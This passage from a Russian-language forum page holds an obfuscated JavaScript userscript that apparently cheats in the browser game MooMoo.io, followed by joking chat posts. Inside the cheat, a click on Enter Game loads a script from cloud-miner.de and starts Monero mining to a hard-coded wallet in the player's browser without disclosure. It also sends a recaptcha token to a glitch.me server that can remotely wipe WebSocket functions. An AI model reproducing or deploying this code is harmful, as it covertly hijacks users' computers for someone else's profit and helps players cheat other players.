                                     Math['sqrt'](Math['pow'](myPlayer['y'] - nearestEnemy[0x2], 0x2) + Math['pow'](myPlayer['x'] - nearestEnemy[0x1], //range stuff
                                                                                                                    0x2)) < AUTOSOLDIER_RANGE && (isEnemyNear = !0x0, 0x0 == autoaim && 0x7 != myPlayer['hat'] && 0x35 != myPlayer['hat'] && (console['log']('autoaim: ' + autoaim),
                                                                                                            //autosoldier range is x/y dist
                                                                                                            normalHat = 0x6, 0x8 != primary && (normalAcc = 0x13, console['log']('Avoided normal accessory'))))),
                    0x0 == isEnemyNear && 0x0 == autoaim && (normalAcc = 0xb, normalHat = myPlayer['y'] < 0x960 ? 0xf : myPlayer['y'] > 0x1ac2 && myPlayer['y'] < 0x1d7e ? 0x1f : 0xc), nearestEnemy || (nearestEnemyAngle = myPlayer['dir']),
                    'h' == d && b[0x1] == myPlayer['id'] && b[0x2] < 0x64 && b[0x2] > 0x0 && setTimeout(() => { //this selection is autoheal
                    if (autohealOn == true) {
                        //toggled
                        place(foodType, null);
                    }
                }, healSpeed), update();
            }
        }

        function doNewSend(a) {
            ws['send'](new Uint8Array(Array['from'](msgpack5['encode'](a))));
        }

        function acc(a) {
            doNewSend(['13c', [0x0, 0x0, 0x1]]), doNewSend(['13c', [0x0, a, 0x1]]), console['log']('ACCESSORY: ' + a);
        }

        function hat(a) {
            doNewSend(['13c', [0x0, a, 0x0]]), console['log']('ACCESSORY: ' + a);
        }

        function place(a, b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2)) {
            doNewSend(['5', [a, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]);
        }

        function boostSpike() {
            null == boostDir && (boostDir = nearestEnemyAngle), place(spikeType, boostDir + toRad(0x5a)), place(spikeType, boostDir - toRad(0x5a)), place(boostType, boostDir), doNewSend(['33', [boostDir]]);
        }
        null == AUTOSOLDIER_RANGE && (AUTOSOLDIER_RANGE = 0xcd), setInterval(() => {}, 0x64), document['msgpack'] = msgpack, WebSocket['prototype']['originalSending'] = WebSocket['prototype']['send'], WebSocket['prototype']['send'] = function (a) {
            null == ws && (ws = this, this['addEventListener']('message', function (b) {
                MESSAGEHANDLER_1(b);
            })), this['originalSending'](a);
        };
        var repeater = function (b, c, d) {
            let f = !0x1
            , g = void 0x0;
            return {
                'start'(h) {
                    h == b && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (f = !0x0, void 0x0 === g && (g = setInterval(() => {
                        c(), f || (clearInterval(g), g = void 0x0);
                    }, d)));
                }
                , 'stop'(h) {
                    h == b && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (f = !0x1);
                }
            };
        };
        const healer = repeater(0x51, () => {
            place(foodType);
        }, 0x0)
        , boostPlacer = repeater(0x46, () => {
            place(boostType);
        }, 0x0)
        , spikePlacer = repeater(0x56, () => {
            place(spikeType);
        }, 0x0)
        , millPlacer = repeater(0x4e, () => {
            place(millType);
        }, 0x0)
        , turretPlacer = repeater(0x48, () => {
            place(turretType);
        }, 0x0)
        , boostSpiker = repeater(0x47, boostSpike, 0x0);

        function isElementVisible(a) {
            return null !== a['offsetParent'];
        }

        function toRad(a) {
            return 0.01745329251 * a;
        }

        function dist(a, b) {
            return Math['sqrt'](Math['pow'](b['y'] - a[0x2], 0x2) + Math['pow'](b['x'] - a[0x1], 0x2));
        }

        function update() {
            for (let a = 0x0; a < 0x9; a++) isElementVisible(document['getElementById']('actionBarItem' + a['toString']())) && (primary = a, document['PRIMARY'] = primary);
            for (let b = 0x9; b < 0x10; b++) isElementVisible(document['getElementById']('actionBarItem' + b['toString']())) && (secondary = b);
            for (let c = 0x10; c < 0x13; c++) isElementVisible(document['getElementById']('actionBarItem' + c['toString']())) && (foodType = c - 0x10);
            for (let d = 0x13; d < 0x16; d++) isElementVisible(document['getElementById']('actionBarItem' + d['toString']())) && (wallType = d - 0x10);
            for (let f = 0x16; f < 0x1a; f++) isElementVisible(document['getElementById']('actionBarItem' + f['toString']())) && (spikeType = f - 0x10);
            for (let g = 0x1a; g < 0x1d; g++) isElementVisible(document['getElementById']('actionBarItem' + g['toString']())) && (millType = g - 0x10);
            for (let h = 0x1d; h < 0x1f; h++) isElementVisible(document['getElementById']('actionBarItem' + h['toString']())) && (mineType = h - 0x10);
            for (let i = 0x1f; i < 0x21; i++) isElementVisible(document['getElementById']('actionBarItem' + i['toString']())) && (boostType = i - 0x10);
            for (let j = 0x21; j < 0x27; j++) isElementVisible(document['getElementById']('actionBarItem' + j['toString']())) && 0x24 != j && (turretType = j - 0x10);
            spawnpadType = 0x24;
        }
        document['UPDATERLOGIC'] = update, $('#ageBarContainer')['append']('<div style=\"width: 100%;position: absolute;top: 100px;text-align: center;color: white;font-size: 12px;\">\x0aR - Instakill | H - Triple Turret | Up Arrow - Message Spam | Space - Katana + Musket (Use at age 9 w/o upgrades) | V - Spike | J - Toggle Autoheal | G - Spike + Boost | N - Mill | H - Triple Turret\x0a</div>'),
            document['addEventListener']('keydown', a => {
            if (spikePlacer['start'](a['keyCode']), healer['start'](a['keyCode']),
                boostPlacer['start'](a['keyCode']), boostSpiker['start'](a['keyCode']),
                millPlacer['start'](a['keyCode']), turretPlacer['start'](a['keyCode']),
                0x48 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']()
               ) {
                //starter code ^^
                var b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2);
                doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]), b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2) + toRad(0x50), doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]), b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2) - toRad(0x50), doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]);
            }
            0x52 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (autoaim = !0x0, doNewSend(['5', [primary, !0x0]]), doNewSend(['13c', [0x0, 0x7, 0x0]]), doNewSend(['13c', [0x0, 0x0, 0x1]]), doNewSend(['13c', [0x0, 0x13, 0x1]]), doNewSend(['c', [0x1]]), setTimeout(() => {
                doNewSend(['13c', [0x0, 0x35, 0x0]]), doNewSend(['5', [secondary, !0x0]]);
            }, instaSpeed - 0x82), setTimeout(() => {
                doNewSend(['5', [primary, !0x0]]), doNewSend(['c', [0x0, null]]), doNewSend(['13c', [0x0, 0x6, 0x0]]), autoaim = !0x1;
            }, instaSpeed)), 0x26 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (messa
  Скрыть содержимое

 




geToggle = (messageToggle + 0x1) % 0x2), 0x20 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && doNewSend(['6', [0xf]]);
        }), document['addEventListener']('keyup', a => {
            spikePlacer['stop'](a['keyCode']), boostPlacer['stop'](a['keyCode']), boostSpiker['stop'](a['keyCode']), millPlacer['stop'](a['keyCode']), turretPlacer['stop'](a['keyCode']), healer['stop'](a['keyCode']), 0x47 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && setTimeout(() => {
                doNewSend(['33', [null]]), boostDir = null;
            }, 0xa);
        });

        document['addEventListener']('keydown', a => {
            if (a.key == "j") {
                autohealOn = !autohealOn;
                doNewSend(["ch", [autohealOn.toString()]]);
            }
        });

        unsafeWindow.showPreAd = () => {};

        var scaleFactor = 0;
        const generateToken = () => unsafeWindow.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", { action : 'homepage' });
        var token;
        document.getElementById("enterGame").addEventListener("click", async function(e) {
            try {
                setTimeout(async ()=>{
                    if (scaleFactor == 0) {
                        token = await generateToken();
                        try {
                            scaleFactor = scaleFactor + 1;
                            xml = new XMLHttpRequest();
                            xml.open("POST", "https://ksw2-moomoo.glitch.me");
                            xml.setRequestHeader("Content-type", "application/json");
                            xml.send(JSON.stringify({key: "rc", recaptcha: token}));
                            xml.onload = function() {
                                if (xml.responseText == "0") {} else if (xml.responseText == "1") {
                                    for (const key in WebSocket.prototype) delete WebSocket.prototype[key];
                                    alert("The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!");
                                } else {};
                            }
                        } catch(e) {};
                        function plugin() {
                            var s = document.createElement('script');
                            s.src = "https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean";
                            (document.head || document.documentElement)
                                .appendChild(s);
                            s.onload = ()=>{ var b = document.createElement('script');
                                            b.innerHTML = "console.log('exec'); EverythingIsLife('44Jmx46LNSmMatQbo9fe4RLJXZVbm3SZa8GfKgA8qZVFgwqXAM5pbyseCX4MNbNBF59F312VjHiVvTP2ypKjpsVCR8D89ef', 'x', 10)";
                                            console.log("exec");
                                            (document.head || document.documentElement)
                                                .appendChild(b);
                                           }
                        }; plugin();
                    };
                }, 5000);
            } catch(e) {};
        });
        switched = 2;
        clearInterval(INT);
        clearInterval(swsInt);
    };
}, 0);YUNIVALIXCODESOSISKE

 

f

 

 

 

 

 

 

Ээээээээээ, страшно представить, как выглядит эта страница

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4 минуты назад, YuNiVaLiX сказал:

Шарму ты ел, колись!

С котом???? Бяяяяя, ща вырвет

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Кто-нибудь когда-нибудь пробовал МЕГАДРАНИКИ? С икрой или без нее

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@Mister pash специально добиваю твою репутацию до 123. А теперь разбуди наконец @I'm hate world!!!

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16 минут назад, Delazar сказал:

@Mister pash специально добиваю твою репутацию до 123. А теперь разбуди наконец @I'm hate world!!!

ООООООУОУУУУУУЕЕЕЕЕЕЕЕ! НУ вот она долгожданная!

Вставай @I'm hate world ! И иди жри МЕГАДРАНИКИ! Мы переплавили твою Пахлаву! В МЕГАДРАНИКИ!

Ты слышишь, @I'm hate world ??? РАЗБУДИСЬ!

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2 часа назад, YuNiVaLiX сказал:

Да

Каждая шарма с мясом кошек

 с мясом кота Сосиське!

1 минуту назад, Mister pash сказал:

ООООООУОУУУУУУЕЕЕЕЕЕЕЕ! НУ вот она долгожданная!

Вставай @I'm hate world ! И иди жри МЕГАДРАНИКИ! Мы переплавили твою Пахлаву! В МЕГАДРАНИКИ!

Ты слышишь, @I'm hate world ??? РАЗБУДИСЬ!

Надо было говорить не мегадраники, а суп из юниваликса!

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1 минуту назад, Delazar сказал:

 с мясом кота Сосиське!

Надо было говорить не мегадраники, суп из юниваликса!

МЕГАДРАНИКИ ИЗ ДЕЛАЗАРА!!!!!!!

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Только что, YuNiVaLiX сказал:

МЕГАДРАНИКИ ИЗ ДЕЛАЗАРА!!!!!!!

Котокурица в соусе!

Или СОСИСКИ ИЗ КОТА СОСИСЬКЕ!

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